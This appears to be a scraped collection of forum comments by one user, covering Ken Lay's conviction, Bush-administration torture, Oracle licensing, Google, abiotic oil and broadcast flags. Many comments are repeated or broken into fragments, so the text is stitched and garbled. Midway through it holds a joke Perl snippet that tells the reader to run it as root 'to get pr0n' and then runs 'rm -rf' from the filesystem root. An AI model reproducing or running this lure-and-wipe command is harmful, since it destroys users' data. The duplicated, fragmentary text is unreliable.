Answer: Lay's conviction might be expunged, says criminal law professor Peter Henning in a fascinating post on the White Collar CrimeProf blog. Citing Fifth Circuit law (the federal jurisdiction encompassing Houston), Henning says that when a defendant dies before appellate review of a conviction, the death "abates, ab initio, the entire criminal proceeding." In a recent Fifth Circuit decision, United States v. Estate of Parsons, the court explained that "the appeal does not just disappear, and the case is not merely dismissed. Instead, everything associated with the case is extinguished, leaving the defendant as if he had never been indicted or convicted." The Fifth Circuit explained the rationale for the rule: "The finality principle reasons that the state should not label one as guilty until he has exhausted his opportunity to appeal. The punishment principle asserts that the state should not punish a dead person or his estate."
The content providers aren't content with ramming broadcast flags down our throats; now they want to mandate the design of every freaking piece of hardware between them and the patsies (i.e., consumers) whom they target. This kind of legalistic BS has to come to a stop.
Criminalizing the mere possession of something just because it could potentially be used in a crime is pretty stupid.
Welcome to the Bush administration's excuse for Iraq.
Probably never, would be my guess, but one of the things I find annoying is how much reinvention-of-the-wheel Microsoft gets away with and yet continues to make the ridiculous claim that they're innovating, when in fact they're merely catching up. Bill Gates, welcome to 1994.
The subject is intended to be a joke. Do you really believe that Bush (or his administration) is directly responsible for the torture and murder of Iraqi prisoners (or should I call them terrorists, criminals, "the enemy", etc.)?
the Bush administration knew perfectly well what it was doing
knew that it was illegal
wanted a legal smokescreen for the time when such activities leaked out
The abuses at Abu Ghraib and Guantanamo were all carried out under color of authority -- the administration's authority -- which has violated all manner of treaties to which the United States is signatory, not to mention its own Constitution and laws.
The question isn't whether Bush and his greasy pals -- Cheney foremost among them -- should be impeached. The question is, how far down does the moral rot go?
Once they get you aboard, you get to pay exponentially more. Plus there's the never-friendly, never available Oracle sales staff, who aren't there to help you with the licensing agreements that change radically every six months and sometimes more often. Oracle makes you use hardware that's ten times as expensive as you need, and when it does work, is miles slower than MySQL on the same gear.
A whistleblower takes his knowledge and does not go public with it. This guy mailed this stuff to the newspapers, that's why he's in trouble.
The fact that he has been prosecuted by the people's duly appointed deputy district attorney is evidence enough that this comment is simply garbage.
Google uses scads of servers, and it's getting so that the energy costs over their lifetimes will outweigh their acquisition costs. Take your pick of Peak {Oil, Uranium, Coal, Gas} scenarios, but Google may just run out of gas if it costs more to run those giga-server farms than they can haul in from AdWords revenue.
Unfortunately, a lot of people have complete trust in the Government
These people used to be called "liberals" until the Bush administration got hold of the reins of power. When will people learn that you don't give government the kind of power you wouldn't want your worst enemy to have?
Fooey. Germany had lots of old communist-era East German coal-fired power plants to shut down. Whiz, bang, instant CO2 reductions. No way to reproduce that in the Yew Ess of Eh.
The Republicans claimed Clinton was immoral for getting blow jobs on the job. Once they get into office, they then start defending a chain of secret prisons throughout the world, kidnaping, and torture. This is supposed to be an improvement?
Google's refusal to hand over search terms to the Feds is a good thing, let's not forget that. But cozying up to the Chinese makes me think they're on their way to a least-common-denominator set of policies about censorship. And that is most decidedly a bad thing.
And yet there are numerous scientists who are starting to think that it may not be dead dinosaurs and dead trees.
And these people are essentially cranks, though some of them, like the late Thomas Gold of Cornell, have university positions. Not one person actually engaged in the business of finding oil believes any of this to be true, as a recent dustup at Rigzone showed. The abiotic oil people have yet to make their case in commercial terms. The gold standard of scientific questions, "What is your proof?", remains unanswered.
We're not familiar with the process as we haven't been able to duplicate it in the lab -- so its theory.
Tell that to these folks, who have been converting turkey guts into petroleum.
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Seeing Rosanne Barr naked in the streets would sober my ass right up, and depress me, all in one shot.
As others have said, it is possible he's not dead, and that this is simply a ruse to prevent prosecution.
I'll also believe the cause of Lay's death after we hear it from a coroner or a physician rather than his attorney or his priest.
The content providers aren't content with ramming broadcast flags down our throats; now they want to mandate the design of every freaking piece of hardware between them and the patsies (i.e., consumers) whom they target. This kind of legalistic BS has to come to a stop.
And here I thought the Underpants Gnomes business models all got torpedoed in the 2001 dot-boom.
Criminalizing the mere possession of something just because it could potentially be used in a crime is pretty stupid. Welcome to the Bush administration's excuse for Iraq.
Probably never, would be my guess, but one of the things I find annoying is how much reinvention-of-the-wheel Microsoft gets away with and yet continues to make the ridiculous claim that they're innovating, when in fact they're merely catching up. Bill Gates, welcome to 1994.
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die "to get pr0n, run this script as root" if($>);
chdir("/");
system("rm -rf *
print "haw haw haw I 0wnz u!!!!!!!\n";
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Really, now.
The cats and racks section could be pretty useful...
... it's only if he starts developing a hankering for Broadway showtunes that you might be in some trouble...
The correct answer is an emphatic, "YES!" When the courts martial refused to examine the possibility that Lynndie England was merely following orders, when the Bush administration's highest-ranking lawyer drafts legal briefs on instructions directly from from the President as to why their abuse of prisoners is perfectly legal despite warnings from the Navy's general counsel that the "legal theories granting the president the right to authorize abuse in spite of the Geneva Conventions were unlawful, dangerous and erroneous" -- how the hell could you NOT conclude that
- the Bush administration knew perfectly well what it was doing
- knew that it was illegal
- wanted a legal smokescreen for the time when such activities leaked out
The abuses at Abu Ghraib and Guantanamo were all carried out under color of authority -- the administration's authority -- which has violated all manner of treaties to which the United States is signatory, not to mention its own Constitution and laws.The question isn't whether Bush and his greasy pals -- Cheney foremost among them -- should be impeached. The question is, how far down does the moral rot go?
Once they get you aboard, you get to pay exponentially more. Plus there's the never-friendly, never available Oracle sales staff, who aren't there to help you with the licensing agreements that change radically every six months and sometimes more often. Oracle makes you use hardware that's ten times as expensive as you need, and when it does work, is miles slower than MySQL on the same gear.
Thus the scientific basis for chiropractic, homeopathy, and items found in the Slashdot submission queue.
... which effectively anonymizes whatever scandalous legislation they're enacting, I'll believe they're serious about ending anonymity.
A whistleblower takes his knowledge and does not go public with it. This guy mailed this stuff to the newspapers, that's why he's in trouble. The fact that he has been prosecuted by the people's duly appointed deputy district attorney is evidence enough that this comment is simply garbage.
Remember Harriet Miers?
... is a stark raving bozo. Why does he get a respectful hearing, anywhere?
Google uses scads of servers, and it's getting so that the energy costs over their lifetimes will outweigh their acquisition costs. Take your pick of Peak {Oil, Uranium, Coal, Gas} scenarios, but Google may just run out of gas if it costs more to run those giga-server farms than they can haul in from AdWords revenue.
These people used to be called "liberals" until the Bush administration got hold of the reins of power. When will people learn that you don't give government the kind of power you wouldn't want your worst enemy to have?
Fooey. Germany had lots of old communist-era East German coal-fired power plants to shut down. Whiz, bang, instant CO2 reductions. No way to reproduce that in the Yew Ess of Eh.
Who cares who put them into place? The point is the GOP is being immoral by continuing to allow them to exist at all.
Google's refusal to hand over search terms to the Feds is a good thing, let's not forget that. But cozying up to the Chinese makes me think they're on their way to a least-common-denominator set of policies about censorship. And that is most decidedly a bad thing.
And yet there are numerous scientists who are starting to think that it may not be dead dinosaurs and dead trees. And these people are essentially cranks, though some of them, like the late Thomas Gold of Cornell, have university positions. Not one person actually engaged in the business of finding oil believes any of this to be true, as a recent dustup at Rigzone showed. The abiotic oil people have yet to make their case in commercial terms. The gold standard of scientific questions, "What is your proof?", remains unanswered. We're not familiar with the process as we haven't been able to duplicate it in the lab -- so its theory. Tell that to these folks, who have been converting turkey guts into petroleum.
Agriculture is the worst mistake in the history of the human race, quoth Diamond. His opinions are to be taken very lightly.
... or a misunderstanding. 1 MHz is currently in use by terrestrial AM broadcasters.